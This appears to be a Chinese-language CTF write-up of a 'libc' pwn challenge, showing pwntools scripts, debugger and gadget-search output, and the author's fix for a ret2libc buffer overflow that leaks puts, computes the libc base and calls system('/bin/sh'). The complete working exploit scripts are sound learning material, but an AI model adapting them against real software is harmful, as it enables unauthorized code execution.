    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000090  41 41 41 41  41 1a 10 40  0a                        │AAAA│A··@│·│
    00000099
You told me: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@
[*] Got EOF while reading in interactive
$ ls -al
[DEBUG] Sent 0x7 bytes:
    b'ls -al\n'
[*] Process './libc' stopped with exit code -11 (SIGSEGV) (pid 1666)
[*] Got EOF while sending in interactive

写了泄露代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
└─$ cat exp2.py
from pwn import *
import re

context(arch='amd64', os='linux', log_level='debug')
p = process("./libc")

elf = ELF("./libc")
libc = ELF("./libc6.so")


pop_rdi = 0x40101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
puts_addr = 0x84420

p.recvuntil(b"GITCTF!").decode()

libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + 0x52290
bin_sh_addr = libc_base + 0x1b45bd

payload_final = b"A"*136
payload_final += p64(pop_rdi) + p64(bin_sh_addr)
payload_final += p64(system_addr)
p.sendline(payload_final)
p.interactive()

没成功看看是什么原因

找到一个描述这个libc的博客复盘一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> stack 30
00:0000│ rsp 0x7fffffffde68 ◂— 'e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
01:0008│     0x7fffffffde70 ◂— 'Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
02:0010│     0x7fffffffde78 ◂— '0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
03:0018│     0x7fffffffde80 ◂— 'f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
04:0020│     0x7fffffffde88 ◂— 'Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
05:0028│     0x7fffffffde90 ◂— '8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
06:0030│     0x7fffffffde98 ◂— 'g1Ag2Ag3Ag4Ag5Ag'
07:0038│     0x7fffffffdea0 ◂— 'Ag4Ag5Ag'
08:0040│     0x7fffffffdea8 —▸ 0x7fffffffdf00 ◂— 0
09:0048│     0x7fffffffdeb0 —▸ 0x7fffffffdf98 —▸ 0x7fffffffe23d ◂— '/home/lingmj/xxoo/libc'
0a:0050│     0x7fffffffdeb8 ◂— 0x808a23a208e2836e
0b:0058│     0x7fffffffdec0 ◂— 0
0c:0060│     0x7fffffffdec8 —▸ 0x7fffffffdfa8 —▸ 0x7fffffffe254 ◂— 'SHELL=/bin/bash'
0d:0068│     0x7fffffffded0 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 ◂— 0
0e:0070│     0x7fffffffded8 ◂— 0
0f:0078│     0x7fffffffdee0 ◂— 0x7f75dc5db5c0836e
10:0080│     0x7fffffffdee8 ◂— 0x7f75cc199020836e
11:0088│     0x7fffffffdef0 ◂— 0
... ↓        3 skipped
15:00a8│     0x7fffffffdf10 —▸ 0x7fffffffdfa8 —▸ 0x7fffffffe254 ◂— 'SHELL=/bin/bash'
16:00b0│     0x7fffffffdf18 ◂— 0x3e911b1e425ce00
17:00b8│     0x7fffffffdf20 ◂— 0
18:00c0│     0x7fffffffdf28 —▸ 0x7ffff7ddcd65 (__libc_start_main+133) ◂— mov r14, qword ptr [rip + 0x1bd21c]
19:00c8│     0x7fffffffdf30 —▸ 0x40120d (main) ◂— endbr64
1a:00d0│     0x7fffffffdf38 ◂— 0x7fff00000000
1b:00d8│     0x7fffffffdf40 —▸ 0x7ffff7ffe310 ◂— 0
1c:00e0│     0x7fffffffdf48 ◂— 0
1d:00e8│     0x7fffffffdf50 ◂— 0

下一步vmmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 libc
          0x401000           0x402000 r-xp     1000    1000 libc
          0x402000           0x403000 r--p     1000    2000 libc
          0x403000           0x404000 rw-p     1000    2000 libc
          0x404000           0x425000 rw-p    21000       0 [heap]
    0x7ffff7db0000     0x7ffff7db3000 rw-p     3000       0 [anon_7ffff7db0]
    0x7ffff7db3000     0x7ffff7ddb000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7ddb000     0x7ffff7f40000 r-xp   165000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f40000     0x7ffff7f96000 r--p    56000  18d000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f96000     0x7ffff7f9a000 r--p     4000  1e2000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f9a000     0x7ffff7f9c000 rw-p     2000  1e6000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f9c000     0x7ffff7fa9000 rw-p     d000       0 [anon_7ffff7f9c]
    0x7ffff7fbf000     0x7ffff7fc1000 rw-p     2000       0 [anon_7ffff7fbf]
    0x7ffff7fc1000     0x7ffff7fc5000 r--p     4000       0 [vvar]
    0x7ffff7fc5000     0x7ffff7fc7000 r-xp     2000       0 [vdso]
    0x7ffff7fc7000     0x7ffff7fc8000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc8000     0x7ffff7ff0000 r-xp    28000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff0000     0x7ffff7ffb000 r--p     b000   29000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   34000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000       0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000       0 [stack]

知道了0x7ffff7ddcd65 (__libc_start_main+133)和0x7ffff7db0000的libc地址

1
2
3
4
5
6
7
8
9
10
11
12
└─$ ROPgadget --binary ./libc | grep "pop rdi"
/usr/local/bin/ROPgadget:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('ROPGadget==7.6', 'ROPgadget')
0x00000000004012b3 : pop rdi ; ret

┌──(lingmj㉿LingMj)-[~/xxoo]
└─$ objdump -R ./libc | grep puts
0000000000403410 R_X86_64_GLOB_DAT  puts@GLIBC_2.2.5

┌──(lingmj㉿LingMj)-[~/xxoo]
└─$ objdump -d ./libc | grep "<main>"
000000000040120d <main>:
1
2
3
4
5
6
7
8
9
└─$ objdump -d ./libc6.so | grep puts|grep '0000000000'
0000000000082ce0 <_IO_fputs@@GLIBC_2.2.5>:
0000000000084420 <_IO_puts@@GLIBC_2.2.5>:
000000000008e320 <fputs_unlocked@@GLIBC_2.2.5>:
0000000000124550 <putspent@@GLIBC_2.2.5>:
0000000000126220 <putsgent@@GLIBC_2.10>:

└─$ strings -t x libc6.so | grep "/bin/sh"
 1b45bd /bin/sh

这里是找那个基站的地址puts是puts_addr = 0x84420, ret = 0x40101a, pop_rdi = 0x4012b3, system = 0x52290, binsh = 0x1b45bd 偏移量是136然后我是没接出来当时,我去找了ll104567大佬给我解一下找到了方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
└─$ python3 exp2.py
[+] Opening connection to challenge.qsnctf.com on port 30357: Done
[DEBUG] Received 0x17 bytes:
    b'Welcome to the GITCTF!\n'
[DEBUG] Received 0x45 bytes:
    b'Leak time! puts is at: 0x7fc5707ec420\n'
    b'Tell me something interesting:\n'
Welcome to the GITCTF!
Leak time! puts is at: 0x7fc5707ec420
Tell me something interesting:
puts address is: 0x7fc5707ec420
[DEBUG] Sent 0xa9 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  1a 10 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  43 3a 5b 70  c5 7f 00 00  b3 12 40 00  00 00 00 00  │C:[p│····│··@·│····│
    000000a0  70 5d 71 70  c5 7f 00 00  0a                        │p]qp│····│·│
    000000a9
[*] Switching to interactive mode

[DEBUG] Received 0x99 bytes:
    00000000  59 6f 75 20  74 6f 6c 64  20 6d 65 3a  20 41 41 41  │You │told│ me:│ AAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000090  41 41 41 41  41 1a 10 40  0a                        │AAAA│A··@│·│
    00000099
You told me: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@
[*] Got EOF while reading in interactive
$ ls -al
[DEBUG] Sent 0x7 bytes:
    b'ls -al\n'
$ ls -al
[DEBUG] Sent 0x7 bytes:
    b'ls -al\n'
[*] Closed connection to challenge.qsnctf.com port 30357
[*] Got EOF while sending in interactive

┌──(lingmj㉿LingMj)-[~/xxoo]
└─$ cat exp
cat: exp: No such file or directory

┌──(lingmj㉿LingMj)-[~/xxoo]
└─$ cat exp2.py
from pwn import *
import re

context.log_level='debug'

#p = process("./libc")
p = remote("challenge.qsnctf.com", 30357)

puts_addr = 0x84420
pop_rdi_addr = 0x40101a
system = 0x52290
binsh = 0x1b45bd
ret = 0x4012b3

a = p.recvuntil(b'Tell me something interesting:').decode()

print(a)

match = re.search(r'puts is at: (0x[0-9a-fA-F]+)', a)
leak_puts = match.group(1)
print(f"puts address is: {leak_puts}")

libc_base = int(leak_puts, 16) - puts_addr
system_addr = libc_base - system
binsh_addr = libc_base - binsh

payload = b'A'*136 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret) + p64(system_addr)

p.sendline(payload)

p.interactive()

按理来说应该没问题我使用一下那个成功的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import re

context.log_level = 'debug'
r = remote("challenge.qsnctf.com",30357)
#r = remote("192.168.3.104",1337)

a = r.recvuntil(b"Tell me something interesting:\n")
s = re.split("\s",a.decode())
puts_leak = int(s[9],16)

#puts_leak = 0x7ffff7e2d5a0
puts_offset = 0x84420
libc_base = puts_leak - puts_offset

system_offset = 0x52290
system_addr = libc_base + system_offset
bin_sh_offset = 0x1b45bd
bin_sh_addr = libc_base + bin_sh_offset

ret = p64(0x40101a)

pop_rdi = p64(0x4012b3)
junk = b'A' * 136

payload = junk + pop_rdi + p64(bin_sh_addr) + ret  + p64(system_addr)

r.sendline(payload)

r.interactive()

奥我懂我错那了我是基减了应该是基加才对,成功了

最后的payload应该是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import re

context.log_level='debug'

#p = process("./libc")
p = remote("challenge.qsnctf.com", 30441)

a = p.recvuntil(b'Tell me something interesting:').decode()

print(a)

match = re.search(r'puts is at: (0x[0-9a-fA-F]+)', a)
puts_leak = match.group(1)
print(f"puts address is: {puts_leak}")

puts_addr = 0x84420
libc_base = int(puts_leak, 16) - puts_addr
system = 0x52290
system_addr = libc_base + system
binsh = 0x1b45bd
binsh_addr = libc_base + binsh

ret = p64(0x40101a)

pop_rdi = p64(0x4012b3)

payload = b'A'*136 + pop_rdi + p64(binsh_addr) + ret + p64(system_addr)

p.sendline(payload)

p.interactive()

感谢大佬

This post is licensed under CC BY 4.0 by the author.